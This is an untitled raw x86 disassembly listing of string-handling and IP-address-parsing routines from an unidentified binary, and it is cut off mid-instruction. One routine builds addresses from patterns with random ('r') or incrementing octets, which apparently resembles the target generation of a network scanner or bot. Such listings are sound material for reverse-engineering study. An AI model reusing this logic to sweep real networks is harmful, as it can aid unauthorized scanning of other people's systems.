arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_4078FC ; --------------------------------------------------------------------------- loc_4078F5: ; CODE XREF: sub_4078E6:loc_407921j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4078FC: ; CODE XREF: sub_4078E6+Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407923 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_407921 mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407921: ; CODE XREF: sub_4078E6+32j jmp short loc_4078F5 ; --------------------------------------------------------------------------- loc_407923: ; CODE XREF: sub_4078E6+21j mov eax, [ebp+var_8] leave retn sub_4078E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407928 proc near ; CODE XREF: sub_40E618+2Bp ; sub_40E618+185p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_10], 0 jnz short loc_407963 mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_8] call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] shl eax, 2 push eax push 0 push [ebp+arg_C] call sub_416B6A ; memset add esp, 0Ch xor eax, eax jmp locret_407A54 ; --------------------------------------------------------------------------- loc_407963: ; CODE XREF: sub_407928+Aj push [ebp+arg_0] push [ebp+arg_4] call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+arg_0] call sub_40813C add esp, 0Ch mov ecx, [ebp+arg_8] mov [ecx], eax mov eax, [ebp+arg_C] mov ecx, [ebp+arg_4] mov [eax], ecx mov [ebp+var_8], 1 jmp short loc_4079A1 ; --------------------------------------------------------------------------- loc_40799A: ; CODE XREF: sub_407928:loc_407A4Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4079A1: ; CODE XREF: sub_407928+70j mov eax, [ebp+var_8] cmp eax, [ebp+arg_10] jge loc_407A51 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4-4], 0 jz short loc_407A0A lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov ecx, [ebp+var_8] mov edx, [ebp+arg_8] mov [edx+ecx*4], eax mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] cmp dword ptr [ecx+eax*4], 0 jz short loc_4079F8 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] mov eax, [ecx+eax*4] sub eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, eax mov [ebp+var_C], ecx jmp short loc_4079FC ; --------------------------------------------------------------------------- loc_4079F8: ; CODE XREF: sub_407928+B8j and [ebp+var_C], 0 loc_4079FC: ; CODE XREF: sub_407928+CEj mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] mov edx, [ebp+var_C] mov [ecx+eax*4], edx jmp short loc_407A4C ; --------------------------------------------------------------------------- loc_407A0A: ; CODE XREF: sub_407928+90j mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_8] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+arg_10] sub eax, [ebp+var_8] shl eax, 2 push eax push 0 mov eax, [ebp+var_8] mov ecx, [ebp+arg_C] lea eax, [ecx+eax*4] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_8] dec eax jmp short locret_407A54 ; --------------------------------------------------------------------------- loc_407A4C: ; CODE XREF: sub_407928+E0j jmp loc_40799A ; --------------------------------------------------------------------------- loc_407A51: ; CODE XREF: sub_407928+7Fj mov eax, [ebp+arg_10] locret_407A54: ; CODE XREF: sub_407928+36j ; sub_407928+122j leave retn sub_407928 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A56 proc near ; CODE XREF: sub_401146+6Bp ; sub_401146+CAp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_407A81 cmp ecx, 1 jz short loc_407A7E loc_407A6E: ; CODE XREF: sub_407A56+26j mov al, [esi] mov [edi], al test al, al jz short loc_407A81 inc esi inc edi dec ecx cmp ecx, 1 jnz short loc_407A6E loc_407A7E: ; CODE XREF: sub_407A56+16j mov byte ptr [edi], 0 loc_407A81: ; CODE XREF: sub_407A56+11j ; sub_407A56+1Ej pop edi pop esi pop ebx pop ebp retn sub_407A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407A86 proc near ; CODE XREF: sub_4097A7+17p ; sub_4098F3+17p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407A97 ; --------------------------------------------------------------------------- loc_407A90: ; CODE XREF: sub_407A86+3Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407A97: ; CODE XREF: sub_407A86+8j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407AC6 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 30h jl short loc_407AC2 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 39h jg short loc_407AC2 jmp short loc_407A90 ; --------------------------------------------------------------------------- loc_407AC2: ; CODE XREF: sub_407A86+2Aj ; sub_407A86+38j xor al, al jmp short locret_407AC8 ; --------------------------------------------------------------------------- loc_407AC6: ; CODE XREF: sub_407A86+1Cj mov al, 1 locret_407AC8: ; CODE XREF: sub_407A86+3Ej leave retn sub_407A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407ACA proc near ; CODE XREF: sub_401000+F6p ; sub_4148CE+61p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_8] call sub_416B40 ; strlen pop ecx mov [ebp+var_4], eax and [ebp+var_8], 0 and [ebp+var_C], 0 jmp short loc_407AED ; --------------------------------------------------------------------------- loc_407AE6: ; CODE XREF: sub_407ACA:loc_407B58j mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_407AED: ; CODE XREF: sub_407ACA+1Aj mov eax, [ebp+arg_4] sub eax, [ebp+var_4] cmp [ebp+var_C], eax jg short loc_407B5A mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] add ecx, 20h cmp eax, ecx jz short loc_407B37 mov eax, [ebp+arg_0] add eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_8] movsx ecx, byte ptr [ecx] sub ecx, 20h cmp eax, ecx jnz short loc_407B58 loc_407B37: ; CODE XREF: sub_407ACA+3Fj ; sub_407ACA+55j push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_C] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_407B58 mov eax, [ebp+arg_0] add eax, [ebp+var_C] jmp short locret_407B5C ; --------------------------------------------------------------------------- loc_407B58: ; CODE XREF: sub_407ACA+6Bj ; sub_407ACA+84j jmp short loc_407AE6 ; --------------------------------------------------------------------------- loc_407B5A: ; CODE XREF: sub_407ACA+2Cj xor eax, eax locret_407B5C: ; CODE XREF: sub_407ACA+8Cj leave retn sub_407ACA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407B5E proc near ; CODE XREF: sub_40A2D2+11Dp ; sub_40E943+20p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_407B70 ; --------------------------------------------------------------------------- loc_407B69: ; CODE XREF: sub_407B5E:loc_407BEEj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407B70: ; CODE XREF: sub_407B5E+9j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407B85 mov eax, [ebp+arg_0] add eax, [ebp+var_4] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407B85: ; CODE XREF: sub_407B5E+1Dj mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_407BA1 mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_407BEE loc_407BA1: ; CODE XREF: sub_407B5E+33j and [ebp+var_8], 0 jmp short loc_407BAE ; --------------------------------------------------------------------------- loc_407BA7: ; CODE XREF: sub_407B5E:loc_407BECj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_407BAE: ; CODE XREF: sub_407B5E+47j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Dh jz short loc_407BD2 mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] movsx eax, byte ptr [ecx+eax] cmp eax, 0Ah jnz short loc_407BE1 loc_407BD2: ; CODE XREF: sub_407B5E+60j mov eax, [ebp+var_4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] and byte ptr [ecx+eax], 0 jmp short loc_407BEC ; --------------------------------------------------------------------------- loc_407BE1: ; CODE XREF: sub_407B5E+72j mov eax, [ebp+arg_0] add eax, [ebp+var_4] add eax, [ebp+var_8] jmp short locret_407BF3 ; --------------------------------------------------------------------------- loc_407BEC: ; CODE XREF: sub_407B5E+81j jmp short loc_407BA7 ; --------------------------------------------------------------------------- loc_407BEE: ; CODE XREF: sub_407B5E+41j jmp loc_407B69 ; --------------------------------------------------------------------------- locret_407BF3: ; CODE XREF: sub_407B5E+25j ; sub_407B5E+8Cj leave retn sub_407B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BF5 proc near ; CODE XREF: sub_411A09+5Dp ; sub_411A09+F3p ... arg_0 = dword ptr 8 push ebp mov ebp, esp loc_407BF8: ; CODE XREF: sub_407BF5:loc_407C28j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] mov ecx, [ebp+arg_0] inc ecx mov [ebp+arg_0], ecx test eax, eax jz short loc_407C2A mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407C15 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C15: ; CODE XREF: sub_407BF5+1Cj mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C28 mov eax, [ebp+arg_0] and byte ptr [eax], 0 jmp short loc_407C2A ; --------------------------------------------------------------------------- loc_407C28: ; CODE XREF: sub_407BF5+29j jmp short loc_407BF8 ; --------------------------------------------------------------------------- loc_407C2A: ; CODE XREF: sub_407BF5+12j ; sub_407BF5+1Ej ... pop ebp retn sub_407BF5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407C2C proc near ; CODE XREF: sub_4083AD+2F2p ; sub_40CA29+91p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] mov [ebp+var_C], eax and [ebp+var_8], 0 and [ebp+var_4], 0 jmp short loc_407C49 ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_407C2C+31j ; sub_407C2C:loc_407CCDj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407C49: ; CODE XREF: sub_407C2C+14j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407C68 cmp [ebp+var_C], 0 jz short loc_407C5F jmp short loc_407C42 ; --------------------------------------------------------------------------- loc_407C5F: ; CODE XREF: sub_407C2C+2Fj mov [ebp+var_C], 1 jmp short loc_407C6C ; --------------------------------------------------------------------------- loc_407C68: ; CODE XREF: sub_407C2C+29j and [ebp+var_C], 0 loc_407C6C: ; CODE XREF: sub_407C2C+3Aj mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407CCD cmp [ebp+arg_8], 0 jz short loc_407CCB cmp [ebp+var_8], 0 jz short loc_407CCB loc_407C9C: ; CODE XREF: sub_407C2C:loc_407CC9j push 1 pop eax test eax, eax jz short loc_407CCB mov eax, [ebp+arg_0] add eax, [ebp+var_8] and byte ptr [eax], 0 mov eax, [ebp+var_8] dec eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] add eax, [ebp+var_8] movsx eax, byte ptr [eax] cmp eax, 20h jnz short loc_407CC7 cmp [ebp+var_8], 0 jnz short loc_407CC9 loc_407CC7: ; CODE XREF: sub_407C2C+93j jmp short loc_407CCB ; --------------------------------------------------------------------------- loc_407CC9: ; CODE XREF: sub_407C2C+99j jmp short loc_407C9C ; --------------------------------------------------------------------------- loc_407CCB: ; CODE XREF: sub_407C2C+68j ; sub_407C2C+6Ej ... jmp short locret_407CD2 ; --------------------------------------------------------------------------- loc_407CCD: ; CODE XREF: sub_407C2C+62j jmp loc_407C42 ; --------------------------------------------------------------------------- locret_407CD2: ; CODE XREF: sub_407C2C:loc_407CCBj leave retn sub_407C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407CD4 proc near ; CODE XREF: sub_407D42+5Fp ; sub_407D42+79p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_407CE5 ; --------------------------------------------------------------------------- loc_407CDE: ; CODE XREF: sub_407CD4+68j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_407CE5: ; CODE XREF: sub_407CD4+8j cmp [ebp+var_4], 4 jge short loc_407D3E mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] cmp eax, 2Eh jnz short loc_407D0E mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] lea eax, [ecx+eax+1] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D0E: ; CODE XREF: sub_407CD4+23j mov eax, [ebp+arg_4] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407D2C mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_4] add eax, [ebp+var_4] jmp short locret_407D40 ; --------------------------------------------------------------------------- loc_407D2C: ; CODE XREF: sub_407CD4+45j mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_407CDE ; --------------------------------------------------------------------------- loc_407D3E: ; CODE XREF: sub_407CD4+15j xor eax, eax locret_407D40: ; CODE XREF: sub_407CD4+38j ; sub_407CD4+56j leave retn sub_407CD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407D42 proc near ; CODE XREF: sub_407F3D+19p ; sub_407F3D+3Fp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx push 2Eh push [ebp+arg_0] call sub_4078E6 pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 3 jle short loc_407D63 xor eax, eax jmp locret_407E0A ; --------------------------------------------------------------------------- loc_407D63: ; CODE XREF: sub_407D42+18j mov eax, [ebp+arg_10] and byte ptr [eax], 0 mov eax, [ebp+arg_C] and byte ptr [eax], 0 mov eax, [ebp+arg_8] and byte ptr [eax], 0 mov eax, [ebp+arg_4] and byte ptr [eax], 0 mov eax, [ebp+var_4] mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_407DE9 cmp [ebp+var_8], 1 jz short loc_407DCF cmp [ebp+var_8], 2 jz short loc_407DB5 cmp [ebp+var_8], 3 jz short loc_407D9B jmp short loc_407E08 ; --------------------------------------------------------------------------- loc_407D9B: ; CODE XREF: sub_407D42+55j push [ebp+arg_0] push [ebp+arg_4] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DB5 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DB5: ; CODE XREF: sub_407D42+4Fj ; sub_407D42+6Dj push [ebp+arg_0] push [ebp+arg_8] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DCF xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DCF: ; CODE XREF: sub_407D42+49j ; sub_407D42+87j push [ebp+arg_0] push [ebp+arg_C] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407DE9 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407DE9: ; CODE XREF: sub_407D42+43j ; sub_407D42+A1j push [ebp+arg_0] push [ebp+arg_10] call sub_407CD4 pop ecx pop ecx mov [ebp+arg_0], eax cmp [ebp+arg_0], 0 jnz short loc_407E03 xor eax, eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E03: ; CODE XREF: sub_407D42+BBj push 1 pop eax jmp short locret_407E0A ; --------------------------------------------------------------------------- loc_407E08: ; CODE XREF: sub_407D42+57j xor eax, eax locret_407E0A: ; CODE XREF: sub_407D42+1Cj ; sub_407D42+71j ... leave retn sub_407D42 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E0C proc near ; CODE XREF: sub_407F3D+A3p ; sub_407F3D+C1p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 72h jnz short loc_407E4A mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz short loc_407E4A push 0Ah push [ebp+arg_C] push 0FFh push 0 call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch mov eax, [ebp+arg_10] jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407E4A: ; CODE XREF: sub_407E0C+Dj ; sub_407E0C+18j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 73h jz short loc_407E64 mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz loc_407EF9 loc_407E64: ; CODE XREF: sub_407E0C+47j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax+1] test eax, eax jnz loc_407EF9 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407EB3 cmp [ebp+arg_10], 0 jz short loc_407EB3 push [ebp+arg_0] call sub_416B9C ; atoi pop ecx movzx eax, al inc eax mov [ebp+var_4], al push 0Ah push [ebp+arg_C] movzx eax, [ebp+var_4] push eax call sub_416F7A ; _itoa add esp, 0Ch movzx eax, [ebp+var_4] neg eax sbb eax, eax inc eax jmp locret_407F3B ; --------------------------------------------------------------------------- loc_407EB3: ; CODE XREF: sub_407E0C+6Fj ; sub_407E0C+75j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407ECC push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407ECC: ; CODE XREF: sub_407E0C+AFj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] cmp eax, 69h jnz short loc_407EE8 push offset dword_418F50 push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407EF5 ; --------------------------------------------------------------------------- loc_407EE8: ; CODE XREF: sub_407E0C+C9j push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407EF5: ; CODE XREF: sub_407E0C+BEj ; sub_407E0C+DAj xor eax, eax jmp short locret_407F3B ; --------------------------------------------------------------------------- loc_407EF9: ; CODE XREF: sub_407E0C+52j ; sub_407E0C+61j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F12 push [ebp+arg_4] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F12: ; CODE XREF: sub_407E0C+F5j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_407F2B push [ebp+arg_0] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_407F38 ; --------------------------------------------------------------------------- loc_407F2B: ; CODE XREF: sub_407E0C+10Ej push [ebp+arg_8] push [ebp+arg_C] call sub_416B3A ; _mbscpy pop ecx pop ecx loc_407F38: ; CODE XREF: sub_407E0C+104j ; sub_407E0C+11Dj mov eax, [ebp+arg_10] locret_407F3B: ; CODE XREF: sub_407E0C+39j ; sub_407E0C+A2j ... leave retn sub_407E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F3D proc near ; CODE XREF: sub_41349C+192p ; sub_41349C+3DAp var_44 = byte ptr -44h var_40 = byte ptr -40h var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_30 = byte ptr -30h var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 44h lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_44] push eax lea eax, [ebp+var_3C] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F69 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F69: ; CODE XREF: sub_407F3D+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_40] push eax push [ebp+arg_4] call sub_407D42 add esp, 14h test eax, eax jnz short loc_407F8F xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407F8F: ; CODE XREF: sub_407F3D+49j lea eax, [ebp+var_34] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_1C] push eax push offset dword_41EF18 call sub_407D42 add esp, 14h test eax, eax jnz short loc_407FB7 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FB7: ; CODE XREF: sub_407F3D+71j movsx eax, [ebp+var_14] test eax, eax jnz short loc_407FC6 xor eax, eax jmp locret_408068 ; --------------------------------------------------------------------------- loc_407FC6: ; CODE XREF: sub_407F3D+80j mov [ebp+var_18], 1 push [ebp+var_18] lea eax, [ebp+var_38] push eax lea eax, [ebp+var_34] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_30] push eax lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_28] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_44] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax push [ebp+var_18] lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_40] push eax lea eax, [ebp+var_3C] push eax call sub_407E0C add esp, 14h mov [ebp+var_18], eax lea eax, [ebp+var_38] push eax lea eax, [ebp+var_30] push eax lea eax, [ebp+var_28] push eax lea eax, [ebp+var_20] push eax push offset dword_418F54 push [ebp+arg_8] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_408068: ; CODE XREF: sub_407F3D+27j ; sub_407F3D+4Dj ... leave retn sub_407F3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40806A proc near ; CODE XREF: sub_41349C+12Ap var_20 = byte ptr -20h var_1C = byte ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push [ebp+arg_0] call sub_407D42 add esp, 14h test eax, eax jnz short loc_408096 xor eax, eax jmp locret_40813A ; --------------------------------------------------------------------------- loc_408096: ; CODE XREF: sub_40806A+23j lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_8] push eax push offset dword_41EF18 call sub_407D42 add esp, 14h test eax, eax jnz short loc_4080BB xor eax, eax jmp short locret_40813A ; --------------------------------------------------------------------------- loc_4080BB: ; CODE XREF: sub_40806A+4Bj movsx eax, [ebp+var_18] test eax, eax jnz short loc_4080D2 lea eax, [ebp+var_8] push eax lea eax, [ebp+var_18] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080D2: ; CODE XREF: sub_40806A+57j movsx eax, [ebp+var_1C] test eax, eax jnz short loc_4080E9 lea eax, [ebp+var_C] push eax lea eax, [ebp+var_1C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_4080E9: ; CODE XREF: sub_40806A+6Ej movsx eax, [ebp+var_20] test eax, eax jnz short loc_408100 lea eax, [ebp+var_10] push eax lea eax, [ebp+var_20] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408100: ; CODE XREF: sub_40806A+85j movsx eax, [ebp+var_4] test eax, eax jnz short loc_408117 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408117: ; CODE XREF: sub_40806A+9Cj lea eax, [ebp+var_4] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_18] push eax push offset dword_418F54 push [ebp+arg_0] call sub_416B5E ; sprintf add esp, 18h push 1 pop eax locret_40813A: ; CODE XREF: sub_40806A+27j ; sub_40806A+4Fj leave retn sub_40806A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40813C proc near ; CODE XREF: sub_407928+54p ; sub_407928+9Dp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_408150 mov eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [eax], ecx loc_408150: ; CODE XREF: sub_40813C+Aj mov eax, [ebp+arg_8] mov eax, [eax] mov [ebp+var_8], eax jmp short loc_408161 ; --------------------------------------------------------------------------- loc_40815A: ; CODE XREF: sub_40813C:loc_4081A0j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408161: ; CODE XREF: sub_40813C+1Cj mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081A2 mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_408171: ; CODE XREF: sub_40813C+56j mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_408194 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_408194 mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax jmp short loc_408171 ; --------------------------------------------------------------------------- loc_408194: ; CODE XREF: sub_40813C+3Dj ; sub_40813C+4Dj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081A0 jmp short loc_4081A2 ; --------------------------------------------------------------------------- loc_4081A0: ; CODE XREF: sub_40813C+60j jmp short loc_40815A ; --------------------------------------------------------------------------- loc_4081A2: ; CODE 